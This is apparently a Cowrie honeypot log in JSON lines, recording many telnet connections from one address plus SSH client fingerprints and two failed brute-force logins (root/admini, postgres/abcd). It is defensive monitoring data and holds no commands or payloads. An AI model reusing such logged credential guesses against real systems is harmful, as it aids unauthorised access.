{"eventid":"cowrie.session.closed","duration":30.954943895339966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:19.486261Z","src_ip":"51.161.172.108","session":"f0285e569d52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32968,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b3df145fb41","protocol":"telnet","message":"New connection: 51.161.172.108:32968 (159.203.135.109:23) [session: 8b3df145fb41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:19.614274Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32972,"dst_ip":"159.203.135.109","dst_port":23,"session":"47f257db32d4","protocol":"telnet","message":"New connection: 51.161.172.108:32972 (159.203.135.109:23) [session: 47f257db32d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:19.691509Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32976,"dst_ip":"159.203.135.109","dst_port":23,"session":"0092ff633e27","protocol":"telnet","message":"New connection: 51.161.172.108:32976 (159.203.135.109:23) [session: 0092ff633e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:19.989273Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32978,"dst_ip":"159.203.135.109","dst_port":23,"session":"25616ed91033","protocol":"telnet","message":"New connection: 51.161.172.108:32978 (159.203.135.109:23) [session: 25616ed91033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:20.045546Z"}
{"eventid":"cowrie.session.closed","duration":30.931511640548706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:20.269057Z","src_ip":"51.161.172.108","session":"0f55b6f40382","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32992,"dst_ip":"159.203.135.109","dst_port":23,"session":"9049f66c80ff","protocol":"telnet","message":"New connection: 51.161.172.108:32992 (159.203.135.109:23) [session: 9049f66c80ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:20.338492Z"}
{"eventid":"cowrie.session.closed","duration":31.063846349716187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:20.372505Z","src_ip":"51.161.172.108","session":"7ae759062df9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.950695753097534,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:20.406973Z","src_ip":"51.161.172.108","session":"518e1ad97dae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.895251035690308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:20.488756Z","src_ip":"51.161.172.108","session":"4882a939a233","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":45288,"dst_ip":"10.17.0.5","dst_port":22,"session":"434ac54a952e","protocol":"ssh","message":"New connection: 221.139.88.149:45288 (10.17.0.5:22) [session: 434ac54a952e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:20.526947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:20.530946Z","src_ip":"221.139.88.149","session":"434ac54a952e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.56661057472229,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:20.538744Z","src_ip":"51.161.172.108","session":"5341df3cb627","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.556018352508545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:20.663500Z","src_ip":"51.161.172.108","session":"3420ea52906d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:20.717808Z","src_ip":"221.139.88.149","session":"434ac54a952e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32998,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbde09b9d46e","protocol":"telnet","message":"New connection: 51.161.172.108:32998 (159.203.135.109:23) [session: cbde09b9d46e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:20.943338Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33014,"dst_ip":"159.203.135.109","dst_port":23,"session":"eacf5d38b40f","protocol":"telnet","message":"New connection: 51.161.172.108:33014 (159.203.135.109:23) [session: eacf5d38b40f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:20.965327Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33026,"dst_ip":"159.203.135.109","dst_port":23,"session":"18c357c4fe13","protocol":"telnet","message":"New connection: 51.161.172.108:33026 (159.203.135.109:23) [session: 18c357c4fe13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:21.460032Z"}
{"eventid":"cowrie.session.closed","duration":30.864840507507324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:21.483488Z","src_ip":"51.161.172.108","session":"d5375d1d8e6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.618555784225464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:21.494039Z","src_ip":"51.161.172.108","session":"fb2415ecfbd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.867789268493652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:21.532745Z","src_ip":"51.161.172.108","session":"49fe03c7172d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admini","message":"login attempt [root/admini] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:21.542398Z","src_ip":"221.139.88.149","session":"434ac54a952e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33038,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4c4d16f5d18","protocol":"telnet","message":"New connection: 51.161.172.108:33038 (159.203.135.109:23) [session: b4c4d16f5d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:21.577467Z"}
{"eventid":"cowrie.session.closed","duration":31.081584930419922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:21.582620Z","src_ip":"51.161.172.108","session":"ac9bd5b69f17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.082518339157104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:21.772203Z","src_ip":"51.161.172.108","session":"2977fb0216d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33048,"dst_ip":"159.203.135.109","dst_port":23,"session":"be1ade413f73","protocol":"telnet","message":"New connection: 51.161.172.108:33048 (159.203.135.109:23) [session: be1ade413f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:21.855396Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33058,"dst_ip":"159.203.135.109","dst_port":23,"session":"43494a97ea89","protocol":"telnet","message":"New connection: 51.161.172.108:33058 (159.203.135.109:23) [session: 43494a97ea89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:21.966534Z"}
{"eventid":"cowrie.session.closed","duration":31.62849736213684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:21.971514Z","src_ip":"51.161.172.108","session":"3a1ecb8a48bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33060,"dst_ip":"159.203.135.109","dst_port":23,"session":"6afedabd3a7e","protocol":"telnet","message":"New connection: 51.161.172.108:33060 (159.203.135.109:23) [session: 6afedabd3a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:22.228450Z"}
{"eventid":"cowrie.session.closed","duration":30.829029083251953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:22.491589Z","src_ip":"51.161.172.108","session":"88213657223c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09793972969055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:22.558144Z","src_ip":"51.161.172.108","session":"a81536c526e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.374814748764038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:22.566742Z","src_ip":"51.161.172.108","session":"95457b432633","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.655872344970703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:22.704506Z","src_ip":"51.161.172.108","session":"54db5daa3e00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.897413730621338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:22.709651Z","src_ip":"51.161.172.108","session":"a20a9948fc9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:22.749774Z","src_ip":"221.139.88.149","session":"434ac54a952e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33068,"dst_ip":"159.203.135.109","dst_port":23,"session":"b27dcaf4ac98","protocol":"telnet","message":"New connection: 51.161.172.108:33068 (159.203.135.109:23) [session: b27dcaf4ac98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:22.987118Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33070,"dst_ip":"159.203.135.109","dst_port":23,"session":"089778b06bb9","protocol":"telnet","message":"New connection: 51.161.172.108:33070 (159.203.135.109:23) [session: 089778b06bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:23.217335Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33080,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf68121871ff","protocol":"telnet","message":"New connection: 51.161.172.108:33080 (159.203.135.109:23) [session: cf68121871ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:23.382660Z"}
{"eventid":"cowrie.session.closed","duration":31.430359601974487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:23.434779Z","src_ip":"51.161.172.108","session":"042872e72df4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33086,"dst_ip":"159.203.135.109","dst_port":23,"session":"bebc18efc33d","protocol":"telnet","message":"New connection: 51.161.172.108:33086 (159.203.135.109:23) [session: bebc18efc33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:23.730270Z"}
{"eventid":"cowrie.session.closed","duration":31.80217695236206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:23.802685Z","src_ip":"51.161.172.108","session":"630c6551412e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33096,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ac0bf96fdf2","protocol":"telnet","message":"New connection: 51.161.172.108:33096 (159.203.135.109:23) [session: 5ac0bf96fdf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:23.831558Z"}
{"eventid":"cowrie.session.closed","duration":31.317003965377808,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:24.130465Z","src_ip":"51.161.172.108","session":"219e8899628e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14466428756714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:24.154162Z","src_ip":"51.161.172.108","session":"2891d1b44435","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.065847635269165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:24.159866Z","src_ip":"51.161.172.108","session":"2bfd7670c125","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96064019203186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:24.164766Z","src_ip":"51.161.172.108","session":"9b96baff22fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33112,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b9ccd185995","protocol":"telnet","message":"New connection: 51.161.172.108:33112 (159.203.135.109:23) [session: 3b9ccd185995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:24.169987Z"}
{"eventid":"cowrie.session.closed","duration":30.911619663238525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:24.255939Z","src_ip":"51.161.172.108","session":"4597af7b3bd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33128,"dst_ip":"159.203.135.109","dst_port":23,"session":"5996eb320225","protocol":"telnet","message":"New connection: 51.161.172.108:33128 (159.203.135.109:23) [session: 5996eb320225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:24.268706Z"}
{"eventid":"cowrie.session.closed","duration":30.683332920074463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:24.313690Z","src_ip":"51.161.172.108","session":"40f8a078fd94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.688148975372314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:24.466683Z","src_ip":"51.161.172.108","session":"03dd34af21f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33142,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cf5c291e010","protocol":"telnet","message":"New connection: 51.161.172.108:33142 (159.203.135.109:23) [session: 6cf5c291e010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:24.471726Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33150,"dst_ip":"159.203.135.109","dst_port":23,"session":"80bb02360f9a","protocol":"telnet","message":"New connection: 51.161.172.108:33150 (159.203.135.109:23) [session: 80bb02360f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:24.699919Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":59162,"dst_ip":"159.203.135.109","dst_port":23,"session":"908f0b281d3e","protocol":"telnet","message":"New connection: 167.99.38.72:59162 (159.203.135.109:23) [session: 908f0b281d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:24.730636Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33164,"dst_ip":"159.203.135.109","dst_port":23,"session":"843ded351a6c","protocol":"telnet","message":"New connection: 51.161.172.108:33164 (159.203.135.109:23) [session: 843ded351a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:24.802943Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33166,"dst_ip":"159.203.135.109","dst_port":23,"session":"0147b0c4bac9","protocol":"telnet","message":"New connection: 51.161.172.108:33166 (159.203.135.109:23) [session: 0147b0c4bac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:24.883151Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33182,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e33aa096204","protocol":"telnet","message":"New connection: 51.161.172.108:33182 (159.203.135.109:23) [session: 5e33aa096204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:25.039326Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":59950,"dst_ip":"10.17.0.5","dst_port":22,"session":"395ecfcba1a0","protocol":"ssh","message":"New connection: 160.251.101.169:59950 (10.17.0.5:22) [session: 395ecfcba1a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:25.080060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:25.085163Z","src_ip":"160.251.101.169","session":"395ecfcba1a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33190,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfb263d060e9","protocol":"telnet","message":"New connection: 51.161.172.108:33190 (159.203.135.109:23) [session: dfb263d060e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:25.238167Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:25.248906Z","src_ip":"160.251.101.169","session":"395ecfcba1a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.517464876174927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:25.266827Z","src_ip":"51.161.172.108","session":"e1adb06a473d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.236314058303833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:25.317081Z","src_ip":"51.161.172.108","session":"78cd0cb03d9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.961196422576904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:25.388866Z","src_ip":"51.161.172.108","session":"e3bc492d8fba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33200,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f28dbdea304","protocol":"telnet","message":"New connection: 51.161.172.108:33200 (159.203.135.109:23) [session: 5f28dbdea304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:25.421230Z"}
{"eventid":"cowrie.session.closed","duration":30.751829624176025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:25.533882Z","src_ip":"51.161.172.108","session":"9f565fc07991","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33204,"dst_ip":"159.203.135.109","dst_port":23,"session":"0556cf132626","protocol":"telnet","message":"New connection: 51.161.172.108:33204 (159.203.135.109:23) [session: 0556cf132626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:25.547950Z"}
{"eventid":"cowrie.session.closed","duration":31.24696922302246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:25.665718Z","src_ip":"51.161.172.108","session":"583c9d20bb19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33212,"dst_ip":"159.203.135.109","dst_port":23,"session":"814f63317266","protocol":"telnet","message":"New connection: 51.161.172.108:33212 (159.203.135.109:23) [session: 814f63317266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:25.724122Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33216,"dst_ip":"159.203.135.109","dst_port":23,"session":"e31013e91d62","protocol":"telnet","message":"New connection: 51.161.172.108:33216 (159.203.135.109:23) [session: e31013e91d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:25.756314Z"}
{"eventid":"cowrie.session.closed","duration":31.918853044509888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:25.798968Z","src_ip":"51.161.172.108","session":"184295e0e0c1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"abcd","message":"login attempt [postgres/abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:25.900700Z","src_ip":"160.251.101.169","session":"395ecfcba1a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.713172435760498,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:25.944626Z","src_ip":"51.161.172.108","session":"b363f977e485","protocol":"telnet"}
